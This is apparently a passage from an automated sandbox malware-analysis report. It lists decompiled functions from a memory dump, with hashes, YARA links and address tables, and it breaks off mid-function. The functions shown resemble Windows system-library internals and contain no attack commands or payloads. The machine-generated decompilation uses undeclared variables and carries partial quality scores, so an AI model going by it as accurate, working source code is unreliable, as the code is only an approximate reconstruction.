Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e645ace60cad3302292cad4f401d4fb8ac40321acd1647334dcf9193313d5f8c
Instruction ID: 4cd9a993d168d7648690c6d8b918b76d3fffc44de1443eafaecacdfbc869709b
Opcode Fuzzy Hash: e645ace60cad3302292cad4f401d4fb8ac40321acd1647334dcf9193313d5f8c
Instruction Fuzzy Hash: DA018476A01A49BFC251EB79CDC0E57B7ACEB45660B01022AB608CBB51CB64EC12C6E4

Uniqueness

Uniqueness Score: -1.00%

Function 0349138A, Relevance: .0, Instructions: 48
COMMON

Download Yara Rule

C-Code - Quality: 61%

			E0349138A(intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				short _v54;
				char _v60;
				void* __edi;
				void* __esi;
				signed char* _t21;
				intOrPtr _t27;
				intOrPtr _t33;
				intOrPtr _t34;
				signed int _t35;

				_t32 = __edx;
				_t27 = __ebx;
				_v8 =  *0x34cd360 ^ _t35;
				_t33 = __edx;
				_t34 = __ecx;
				E0341FA60( &_v60, 0, 0x30);
				_v20 = _a4;
				_v16 = _a8;
				_v28 = _t34;
				_v24 = _t33;
				_v54 = 0x1033;
				if(E033F7D50() == 0) {
					_t21 = 0x7ffe0388;
				} else {
					_t21 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
				}
				_push( &_v60);
				_push(0x10);
				_push(0x20402);
				_push( *_t21 & 0x000000ff);
				return E0341B640(E03419AE0(), _t27, _v8 ^ _t35, _t32, _t33, _t34);
			}

0x0349138a
0x0349138a
0x03491399
0x034913a3
0x034913a8
0x034913aa
0x034913b5
0x034913bb
0x034913c3
0x034913c6
0x034913c9
0x034913d4
0x034913e6
0x034913d6
0x034913df
0x034913df
0x034913f1
0x034913f2
0x034913f4
0x034913f9
0x0349140e

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0f8e7ce580139d58b5c6af3a4ce167264bb1ece56f0caccfc96ebf9cf3f932a4
Instruction ID: dc45db33a4eba20356f97bd15f7906defad0a61c4d3e4eba9a735b71d39fe317
Opcode Fuzzy Hash: 0f8e7ce580139d58b5c6af3a4ce167264bb1ece56f0caccfc96ebf9cf3f932a4
Instruction Fuzzy Hash: D1018075A00308AFDB10DFA9D885AAEBBB8EF44750F40406BB904AF280D6749A11C794

Uniqueness

Uniqueness Score: -1.00%

Function 034914FB, Relevance: .0, Instructions: 48
COMMON

Download Yara Rule

C-Code - Quality: 61%

			E034914FB(intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				short _v54;
				char _v60;
				void* __edi;
				void* __esi;
				signed char* _t21;
				intOrPtr _t27;
				intOrPtr _t33;
				intOrPtr _t34;
				signed int _t35;

				_t32 = __edx;
				_t27 = __ebx;
				_v8 =  *0x34cd360 ^ _t35;
				_t33 = __edx;
				_t34 = __ecx;
				E0341FA60( &_v60, 0, 0x30);
				_v20 = _a4;
				_v16 = _a8;
				_v28 = _t34;
				_v24 = _t33;
				_v54 = 0x1034;
				if(E033F7D50() == 0) {
					_t21 = 0x7ffe0388;
				} else {
					_t21 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
				}
				_push( &_v60);
				_push(0x10);
				_push(0x20402);
				_push( *_t21 & 0x000000ff);
				return E0341B640(E03419AE0(), _t27, _v8 ^ _t35, _t32, _t33, _t34);
			}

0x034914fb
0x034914fb
0x0349150a
0x03491514
0x03491519
0x0349151b
0x03491526
0x0349152c
0x03491534
0x03491537
0x0349153a
0x03491545
0x03491557
0x03491547
0x03491550
0x03491550
0x03491562
0x03491563
0x03491565
0x0349156a
0x0349157f

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6aadb29817b50b98edc9d36ad9cfc49a603564e2eb685f37b6b62b972925ca61
Instruction ID: 9a94f76ae85a697011a784860fbf1afbfe6dfe5e1d199c77c2c43f15f4b72e4e
Opcode Fuzzy Hash: 6aadb29817b50b98edc9d36ad9cfc49a603564e2eb685f37b6b62b972925ca61
Instruction Fuzzy Hash: D7018075A00248AFDB00DF69D841EAEBBB8EF44750F40406BF915EF380D674DA11CB94

Uniqueness

Uniqueness Score: -1.00%

Function 0348FE3F, Relevance: .0, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 59%

			E0348FE3F(intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4) {
				signed int _v12;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				short _v58;
				char _v64;
				void* __edi;
				void* __esi;
				signed char* _t18;
				intOrPtr _t24;
				intOrPtr _t30;
				intOrPtr _t31;
				signed int _t32;

				_t29 = __edx;
				_t24 = __ebx;
				_v12 =  *0x34cd360 ^ _t32;
				_t30 = __edx;
				_t31 = __ecx;
				E0341FA60( &_v64, 0, 0x30);
				_v24 = _a4;
				_v32 = _t31;
				_v28 = _t30;
				_v58 = 0x267;
				if(E033F7D50() == 0) {
					_t18 = 0x7ffe0388;
				} else {
					_t18 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
				}
				_push( &_v64);
				_push(0x10);
				_push(0x20402);
				_push( *_t18 & 0x000000ff);
				return E0341B640(E03419AE0(), _t24, _v12 ^ _t32, _t29, _t30, _t31);
			}

0x0348fe3f
0x0348fe3f
0x0348fe4e
0x0348fe58
0x0348fe5d
0x0348fe5f
0x0348fe6a
0x0348fe72
0x0348fe75
0x0348fe78
0x0348fe83
0x0348fe95
0x0348fe85
0x0348fe8e
0x0348fe8e
0x0348fea0
0x0348fea1
0x0348fea3
0x0348fea8
0x0348febd

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1cb7c15b99ebfe2dc156480c87e7d09c8a7c3a5a22c00f1a54fed0a1ec68dd9
Instruction ID: f32f2015e1f9aba59d3d170365706e2fb97141b189ebe265c3ddea5d59fc4c81
Opcode Fuzzy Hash: f1cb7c15b99ebfe2dc156480c87e7d09c8a7c3a5a22c00f1a54fed0a1ec68dd9
Instruction Fuzzy Hash: DA018475E00348AFCB14EFA9D845FAEB7B8EF44750F00406AF900AF391DA749915C799

Uniqueness

Uniqueness Score: -1.00%

Function 0348FEC0, Relevance: .0, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 59%

			E0348FEC0(intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4) {
				signed int _v12;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				short _v58;
				char _v64;
				void* __edi;
				void* __esi;
				signed char* _t18;
				intOrPtr _t24;
				intOrPtr _t30;
				intOrPtr _t31;
				signed int _t32;

				_t29 = __edx;
				_t24 = __ebx;
				_v12 =  *0x34cd360 ^ _t32;
				_t30 = __edx;
				_t31 = __ecx;
				E0341FA60( &_v64, 0, 0x30);
				_v24 = _a4;
				_v32 = _t31;
				_v28 = _t30;
				_v58 = 0x266;
				if(E033F7D50() == 0) {
					_t18 = 0x7ffe0388;
				} else {
					_t18 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
				}
				_push( &_v64);
				_push(0x10);
				_push(0x20402);
				_push( *_t18 & 0x000000ff);
				return E0341B640(E03419AE0(), _t24, _v12 ^ _t32, _t29, _t30, _t31);
			}

0x0348fec0
0x0348fec0
0x0348fecf
0x0348fed9
0x0348fede
0x0348fee0
0x0348feeb
0x0348fef3
0x0348fef6
0x0348fef9
0x0348ff04
0x0348ff16
0x0348ff06
0x0348ff0f
0x0348ff0f
0x0348ff21
0x0348ff22
0x0348ff24
0x0348ff29
0x0348ff3e

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 02993d11566181f500e2cf77b5a4d0d4fc6fd7257c0784d40c56aeb2afec17f9
Instruction ID: 66d1efeb5a2656c5097e4599eeabfa5a59e640397a73d5dbf992188d1fdc13fa
Opcode Fuzzy Hash: 02993d11566181f500e2cf77b5a4d0d4fc6fd7257c0784d40c56aeb2afec17f9
Instruction Fuzzy Hash: DB01B571E00208AFCB14EB69D845AAEB7B8EF44700F40406BB900AF290DA349911C798

Uniqueness

Uniqueness Score: -1.00%

Function 033EB02A, Relevance: .0, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E033EB02A(intOrPtr __ecx, signed short* __edx, short _a4) {
				signed char _t11;
				signed char* _t12;
				intOrPtr _t24;
				signed short* _t25;

				_t25 = __edx;
				_t24 = __ecx;
				_t11 = ( *[fs:0x30])[0x50];
				if(_t11 != 0) {
					if( *_t11 == 0) {
						goto L1;
					}
					_t12 = ( *[fs:0x30])[0x50] + 0x22a;
					L2:
					if( *_t12 != 0) {
						_t12 =  *[fs:0x30];
						if((_t12[0x240] & 0x00000004) == 0) {
							goto L3;
						}
						if(E033F7D50() == 0) {
							_t12 = 0x7ffe0385;
						} else {
							_t12 = ( *[fs:0x30])[0x50] + 0x22b;
						}
						if(( *_t12 & 0x00000020) == 0) {
							goto L3;
						}
						return E03457016(_a4, _t24, 0, 0, _t25, 0);
					}
					L3:
					return _t12;
				}
				L1:
				_t12 = 0x7ffe0384;
				goto L2;
			}

0x033eb037
0x033eb039
0x033eb03b
0x033eb040
0x0343a60e
0x00000000
0x00000000
0x0343a61d
0x033eb04b
0x033eb04e
0x0343a627
0x0343a634
0x00000000
0x00000000
0x0343a641
0x0343a653
0x0343a643
0x0343a64c
0x0343a64c
0x0343a65b
0x00000000
0x00000000
0x00000000
0x0343a66c
0x033eb057
0x033eb057
0x033eb057
0x033eb046
0x033eb046
0x00000000

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e61b3b4b4670f516fc01dc09380e60ecf2e8637ce05565c6f774399af743f4d
Instruction ID: 107677750d5bed0cfe1363c33683b23f2294fbfa5c060191401263970290a574
Opcode Fuzzy Hash: 2e61b3b4b4670f516fc01dc09380e60ecf2e8637ce05565c6f774399af743f4d
Instruction Fuzzy Hash: 530184722496849FD723C75DC984F66B7ECEB46754F0D00A2F955CFAA1D728EC40C624

Uniqueness

Uniqueness Score: -1.00%

Function 034A1074, Relevance: .0, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E034A1074(void* __ebx, signed int* __ecx, char __edx, void* __edi, intOrPtr _a4) {
				char _v8;
				void* _v11;
				unsigned int _v12;
				void* _v15;
				void* __esi;
				void* __ebp;
				char* _t16;
				signed int* _t35;

				_t22 = __ebx;
				_t35 = __ecx;
				_v8 = __edx;
				_t13 =  !( *__ecx) + 1;
				_v12 =  !( *__ecx) + 1;
				if(_a4 != 0) {
					E034A165E(__ebx, 0x34c8ae4, (__edx -  *0x34c8b04 >> 0x14) + (__edx -  *0x34c8b04 >> 0x14), __edi, __ecx, (__edx -  *0x34c8b04 >> 0x14) + (__edx -  *0x34c8b04 >> 0x14), (_t13 >> 0x14) + (_t13 >> 0x14));
				}
				E0349AFDE( &_v8,  &_v12, 0x8000,  *((intOrPtr*)(_t35 + 0x34)),  *((intOrPtr*)(_t35 + 0x38)));
				if(E033F7D50() == 0) {
					_t16 = 0x7ffe0388;
				} else {
					_t16 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
				}
				if( *_t16 != 0) {
					_t16 = E0348FE3F(_t22, _t35, _v8, _v12);
				}
				return _t16;
			}

0x034a1074
0x034a1080
0x034a1082
0x034a108a
0x034a108f
0x034a1093
0x034a10ab
0x034a10ab
0x034a10c3
0x034a10cf
0x034a10e1
0x034a10d1
0x034a10da
0x034a10da
0x034a10e9
0x034a10f5
0x034a10f5
0x034a10fe

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aee6895bd4af7fc13a9dee338f49de6ef401e37d04c3972b7a888f8c4831d2a5
Instruction ID: 67b9601aff6facc1d49de7fa010a5cd342d2617b8ddee221d31817b9a1bc9aba
Opcode Fuzzy Hash: aee6895bd4af7fc13a9dee338f49de6ef401e37d04c3972b7a888f8c4831d2a5
Instruction Fuzzy Hash: AB012876508B419FC710EB2EC840B1BB7D5AF94210F04C51AF8858B790EF31D440DB96

Uniqueness

Uniqueness Score: -1.00%

Function 034A8A62, Relevance: .0, Instructions: 44
COMMON

Download Yara Rule

C-Code - Quality: 54%

			E034A8A62(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				signed int _v12;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				short _v66;
				char _v72;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed char* _t18;
				signed int _t32;

				_t29 = __edx;
				_v12 =  *0x34cd360 ^ _t32;
				_t31 = _a8;
				_t30 = _a12;
				_v66 = 0x1c20;
				_v40 = __ecx;
				_v36 = __edx;
				_v32 = _a4;
				_v28 = _a8;
				_v24 = _a12;
				if(E033F7D50() == 0) {
					_t18 = 0x7ffe0386;
				} else {
					_t18 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
				}
				_push( &_v72);
				_push(0x14);
				_push(0x20402);
				_push( *_t18 & 0x000000ff);
				return E0341B640(E03419AE0(), 0x1c20, _v12 ^ _t32, _t29, _t30, _t31);
			}

0x034a8a62
0x034a8a71
0x034a8a79
0x034a8a82
0x034a8a85
0x034a8a89
0x034a8a8c
0x034a8a8f
0x034a8a92
0x034a8a95
0x034a8a9f
0x034a8ab1
0x034a8aa1
0x034a8aaa
0x034a8aaa
0x034a8abc
0x034a8abd
0x034a8abf
0x034a8ac4
0x034a8ada

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf43ded145a4bc5d58c89959026c84390edde805503b8b486661582f6e56a679
Instruction ID: 89affcdc20ba5341267b997baa773d52174dfc15f5cd38973ab81a0ce4a17a57
Opcode Fuzzy Hash: bf43ded145a4bc5d58c89959026c84390edde805503b8b486661582f6e56a679
Instruction Fuzzy Hash: B9011AB5A00619AFCB00DFA9D9459AEBBB8EF58350F50405AF904EB351D634A911CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 034A8ED6, Relevance: .0, Instructions: 44
COMMON

Download Yara Rule

C-Code - Quality: 54%

			E034A8ED6(intOrPtr __ecx, intOrPtr __edx) {
				signed int _v8;
				signed int _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				short _v62;
				char _v68;
				signed char* _t29;
				intOrPtr _t35;
				intOrPtr _t41;
				intOrPtr _t42;
				signed int _t43;

				_t40 = __edx;
				_v8 =  *0x34cd360 ^ _t43;
				_v28 = __ecx;
				_v62 = 0x1c2a;
				_v36 =  *((intOrPtr*)(__edx + 0xc8));
				_v32 =  *((intOrPtr*)(__edx + 0xcc));
				_v20 =  *((intOrPtr*)(__edx + 0xd8));
				_v16 =  *((intOrPtr*)(__edx + 0xd4));
				_v24 = __edx;
				_v12 = ( *(__edx + 0xde) & 0x000000ff) >> 0x00000001 & 0x00000001;
				if(E033F7D50() == 0) {
					_t29 = 0x7ffe0386;
				} else {
					_t29 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
				}
				_push( &_v68);
				_push(0x1c);
				_push(0x20402);
				_push( *_t29 & 0x000000ff);
				return E0341B640(E03419AE0(), _t35, _v8 ^ _t43, _t40, _t41, _t42);
			}

0x034a8ed6
0x034a8ee5
0x034a8eed
0x034a8ef0
0x034a8efa
0x034a8f03
0x034a8f0c
0x034a8f15
0x034a8f24
0x034a8f27
0x034a8f31
0x034a8f43
0x034a8f33
0x034a8f3c
0x034a8f3c
0x034a8f4e
0x034a8f4f
0x034a8f51
0x034a8f56
0x034a8f69

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8a8ae03cef28a990a3f22b8f0c7f5bcd573d3c70b9a5640d2a67a31a1a35a17
Instruction ID: b5097eaa74d21e5f6284a4d48f6fee8c62afeaac9718374e6a8be5644798429d
Opcode Fuzzy Hash: d8a8ae03cef28a990a3f22b8f0c7f5bcd573d3c70b9a5640d2a67a31a1a35a17
Instruction Fuzzy Hash: 74110C74E106499FDB04DFA9D441AAEBBF4FF08200F0442AAE918EB381E6349941CB94

Uniqueness

Uniqueness Score: -1.00%

Function 033DDB60, Relevance: .0, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E033DDB60(signed int __ecx) {
				intOrPtr* _t9;
				void* _t12;
				void* _t13;
				intOrPtr _t14;

				_t9 = __ecx;
				_t14 = 0;
				if(__ecx == 0 ||  *((intOrPtr*)(__ecx)) != 0) {
					_t13 = 0xc000000d;
				} else {
					_t14 = E033DDB40();
					if(_t14 == 0) {
						_t13 = 0xc0000017;
					} else {
						_t13 = E033DE7B0(__ecx, _t12, _t14, 0xfff);
						if(_t13 < 0) {
							L033DE8B0(__ecx, _t14, 0xfff);
							L033F77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t14);
							_t14 = 0;
						} else {
							_t13 = 0;
							 *((intOrPtr*)(_t14 + 0xc)) =  *0x7ffe03a4;
						}
					}
				}
				 *_t9 = _t14;
				return _t13;
			}

0x033ddb64
0x033ddb66
0x033ddb6b
0x033ddbaa
0x033ddb71
0x033ddb76
0x033ddb7a
0x033ddba3
0x033ddb7c
0x033ddb87
0x033ddb8b
0x03434fa1
0x03434fb3
0x03434fb8
0x033ddb91
0x033ddb96
0x033ddb98
0x033ddb98
0x033ddb8b
0x033ddb7a
0x033ddb9d
0x033ddba2

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4108fb18439822e7528065d03744c5b66e5752e741267b0d2dbc6e7ad13d6de1
Instruction ID: 057ea90724da101292ca104d8d73dd45ec42b4f3c6cfaad814a55cc67fbcf4da
Opcode Fuzzy Hash: 4108fb18439822e7528065d03744c5b66e5752e741267b0d2dbc6e7ad13d6de1
Instruction Fuzzy Hash: 1FF0FC376416229FD332DA5598C0F67FA999FC1A64F190035F1059F744C9609C0286D0

Uniqueness

Uniqueness Score: -1.00%

Function 033DB1E1, Relevance: .0, Instructions: 42
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E033DB1E1(intOrPtr __ecx, char __edx, char _a4, signed short* _a8) {
				signed char* _t13;
				intOrPtr _t22;
				char _t23;

				_t23 = __edx;
				_t22 = __ecx;
				if(E033F7D50() != 0) {
					_t13 = ( *[fs:0x30])[0x50] + 0x22a;
				} else {
					_t13 = 0x7ffe0384;
				}
				if( *_t13 != 0) {
					_t13 =  *[fs:0x30];
					if((_t13[0x240] & 0x00000004) == 0) {
						goto L3;
					}
					if(E033F7D50() == 0) {
						_t13 = 0x7ffe0385;
					} else {
						_t13 = ( *[fs:0x30])[0x50] + 0x22b;
					}
					if(( *_t13 & 0x00000020) == 0) {
						goto L3;
					}
					return E03457016(0x14a4, _t22, _t23, _a4, _a8, 0);
				} else {
					L3:
					return _t13;
				}
			}

0x033db1e8
0x033db1ea
0x033db1f3
0x03434a17
0x033db1f9
0x033db1f9
0x033db1f9
0x033db201
0x03434a21
0x03434a2e
0x00000000
0x00000000
0x03434a3b
0x03434a4d
0x03434a3d
0x03434a46
0x03434a46
0x03434a55
0x00000000
0x00000000
0x00000000
0x033db20a
0x033db20a
0x033db20a
0x033db20a

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d7c926d8f7ad5fed70f9c3145ab0d11368f8906714783f3796a50782a1b3489b
Instruction ID: 289f918165b0ea98007edc1e905cb9240084fd85771fa61c4e137fc9f0238cf5
Opcode Fuzzy Hash: d7c926d8f7ad5fed70f9c3145ab0d11368f8906714783f3796a50782a1b3489b
Instruction Fuzzy Hash: 4D01D6336006809FD322D75AD844F9ABB98EF46790F0D00A2F9148F7B1D674C800C358

Uniqueness

Uniqueness Score: -1.00%

Function 0346FE87, Relevance: .0, Instructions: 38
COMMON

Download Yara Rule

C-Code - Quality: 46%

			E0346FE87(intOrPtr __ecx) {
				signed int _v8;
				intOrPtr _v16;
				intOrPtr _v20;
				signed int _v24;
				intOrPtr _v28;
				short _v54;
				char _v60;
				signed char* _t21;
				intOrPtr _t27;
				intOrPtr _t32;
				intOrPtr _t33;
				intOrPtr _t34;
				signed int _t35;

				_v8 =  *0x34cd360 ^ _t35;
				_v16 = __ecx;
				_v54 = 0x1722;
				_v24 =  *(__ecx + 0x14) & 0x00ffffff;
				_v28 =  *((intOrPtr*)(__ecx + 4));
				_v20 =  *((intOrPtr*)(__ecx + 0xc));
				if(E033F7D50() == 0) {
					_t21 = 0x7ffe0382;
				} else {
					_t21 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x228;
				}
				_push( &_v60);
				_push(0x10);
				_push(0x20402);
				_push( *_t21 & 0x000000ff);
				return E0341B640(E03419AE0(), _t27, _v8 ^ _t35, _t32, _t33, _t34);
			}

0x0346fe96
0x0346fe9e
0x0346fea1
0x0346fead
0x0346feb3
0x0346feb9
0x0346fec3
0x0346fed5
0x0346fec5
0x0346fece
0x0346fece
0x0346fee0
0x0346fee1
0x0346fee3
0x0346fee8
0x0346fefb

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ba16b51f3872ce48671c09975fbdfabfe75d0a89cb20798ddb9777b795f6d2f9
Instruction ID: 67ab57eca600d349955ec1879b588eec761d0ce99ad7f1c3df63badde2cbf391
Opcode Fuzzy Hash: ba16b51f3872ce48671c09975fbdfabfe75d0a89cb20798ddb9777b795f6d2f9
Instruction Fuzzy Hash: B7014F74A00208AFCB14DFA8D541A6EBBF4EF08300F54416AA554EF392D635D906CB85

Uniqueness

Uniqueness Score: -1.00%

Function 034A8F6A, Relevance: .0, Instructions: 36
COMMON

Download Yara Rule

C-Code - Quality: 48%

			E034A8F6A(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				short _v50;
				char _v56;
				signed char* _t18;
				intOrPtr _t24;
				intOrPtr _t30;
				intOrPtr _t31;
				signed int _t32;

				_t29 = __edx;
				_v8 =  *0x34cd360 ^ _t32;
				_v16 = __ecx;
				_v50 = 0x1c2c;
				_v24 = _a4;
				_v20 = _a8;
				_v12 = __edx;
				if(E033F7D50() == 0) {
					_t18 = 0x7ffe0386;
				} else {
					_t18 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
				}
				_push( &_v56);
				_push(0x10);
				_push(0x402);
				_push( *_t18 & 0x000000ff);
				return E0341B640(E03419AE0(), _t24, _v8 ^ _t32, _t29, _t30, _t31);
			}

0x034a8f6a
0x034a8f79
0x034a8f81
0x034a8f84
0x034a8f8b
0x034a8f91
0x034a8f94
0x034a8f9e
0x034a8fb0
0x034a8fa0
0x034a8fa9
0x034a8fa9
0x034a8fbb
0x034a8fbc
0x034a8fbe
0x034a8fc3
0x034a8fd6

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 835bf1e3550dab5002eea71eef0e7d520bfa336551296598abaaae0e5816d014
Instruction ID: f1b67190bb4c5764b8f2feac6613f3eb8a1ba95ed637896c9227f786c603f0a1
Opcode Fuzzy Hash: 835bf1e3550dab5002eea71eef0e7d520bfa336551296598abaaae0e5816d014
Instruction Fuzzy Hash: EC013174E00609AFCB00EFA9D545AAEB7F4EF58300F50405AB905EF390DA34DA10CB98

Uniqueness

Uniqueness Score: -1.00%

Function 0349131B, Relevance: .0, Instructions: 36
COMMON

Download Yara Rule

C-Code - Quality: 48%

			E0349131B(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, intOrPtr _a8) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				short _v50;
				char _v56;
				signed char* _t18;
				intOrPtr _t24;
				intOrPtr _t30;
				intOrPtr _t31;
				signed int _t32;

				_t29 = __edx;
				_v8 =  *0x34cd360 ^ _t32;
				_v20 = _a4;
				_v12 = _a8;
				_v24 = __ecx;
				_v16 = __edx;
				_v50 = 0x1021;
				if(E033F7D50() == 0) {
					_t18 = 0x7ffe0380;
				} else {
					_t18 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
				}
				_push( &_v56);
				_push(0x10);
				_push(0x20402);
				_push( *_t18 & 0x000000ff);
				return E0341B640(E03419AE0(), _t24, _v8 ^ _t32, _t29, _t30, _t31);
			}

0x0349131b
0x0349132a
0x03491330
0x03491336
0x0349133e
0x03491341
0x03491344
0x0349134f
0x03491361
0x03491351
0x0349135a
0x0349135a
0x0349136c
0x0349136d
0x0349136f
0x03491374
0x03491387

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4d20a428116284ec3dc74fb97608983fda64c3db2754302f3c8f1d92f040f87f
Instruction ID: 87076c9b380ef3c8415a997960cd922ec3790e487a58bc9f5c6e46b3c62926e0
Opcode Fuzzy Hash: 4d20a428116284ec3dc74fb97608983fda64c3db2754302f3c8f1d92f040f87f
Instruction Fuzzy Hash: EE013C75E01649AFDB04EFA9D545AAEBBF4FF08740F40806AF905EF391E6349A10CB94

Uniqueness

Uniqueness Score: -1.00%

Function 033FC577, Relevance: .0, Instructions: 33
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E033FC577(void* __ecx, char _a4) {
				void* __esi;
				void* __ebp;
				void* _t17;
				void* _t19;
				void* _t20;
				void* _t21;

				_t18 = __ecx;
				_t21 = __ecx;
				if(__ecx == 0 ||  *((char*)(__ecx + 0xdd)) != 0 || E033FC5D5(__ecx, _t19) == 0 ||  *((intOrPtr*)(__ecx + 4)) != 0x33b11cc ||  *((char*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0x28)) != 0) {
					__eflags = _a4;
